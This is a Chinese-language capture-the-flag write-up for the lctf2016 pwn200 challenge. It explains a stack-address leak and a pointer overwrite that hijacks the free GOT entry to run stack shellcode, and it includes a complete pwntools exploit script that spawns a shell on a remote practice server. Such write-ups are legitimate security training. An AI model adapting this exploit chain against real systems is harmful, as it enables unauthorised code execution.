buu刷题记录-lctf2016_pwn200

静态分析

checksec 64位保护全关,并且栈可读可写可执行,那么主要思路应该是执行shellcode了。main函数一个IO初始化和一个函数,进去发现有一个name输入,是用for - read(1)实现的,但是观察缓冲区和循环大小,发现缓冲区大小与循环次数相同,意味着如果我输入填满缓冲区,一会输出名字的时候可以泄露栈地址。sub_4007DF这个函数就是输入一个3位数值返回int。继续往下看发现它又有一个与缓冲区大小相等的一次输入,并且可以覆盖到char *dest这个指针变量,一会会将整个缓冲区以字符串形式拷贝到那个指针内的地址中。那么如果我们将ptr修改那基本是任意地址写了,加上之前泄露的站地址便可以在上面执行shellcode,但是同时也有限制,那就是这是一个字符串拷贝,如果需要在返回的时候执行shellcode那么需要填上shellcode后先放上一个jmp rsp的地址。而64位程序地址虽占8个字节但是实际高两个字节一般都是空的,后面的shellcode很可能无法拷贝。我还尝试过栈迁移,但是栈迁移需要改连续的两个为地址,也不能连续拷贝。那么可以尝试劫持got表,让它在后面执行某些函数的时候劫持到栈上面的shellcode里面。

exp

主要就是写在got表的地址要确定是shellcode的地址,这个可以通过自己调试去反复确定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.23-64.so')
else:
p=remote('node4.buuoj.cn',27025)
libc=ELF('./libc/libc-2.23-buu64.so')
return ELF(file_name),libc,p

elf,libc,p=conn(0,'./pwn200')
payload=b'a'*48
p.send(payload)
stack_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-120-0x28-32+8
success('stack_addr:'+hex(stack_addr))#+120

#gdb.attach(p)
p.sendlineafter(b'id',b'33')
payload=p64(stack_addr)+asm(shellcraft.sh())
payload=payload.ljust(0x38,b'e')+p64(elf.got['free'])
p.sendlineafter(b'~',payload)

#gdb.attach(p,'b *0x400a8d')

p.sendlineafter(b':',b'2')
#gdb.attach(p)
p.interactive()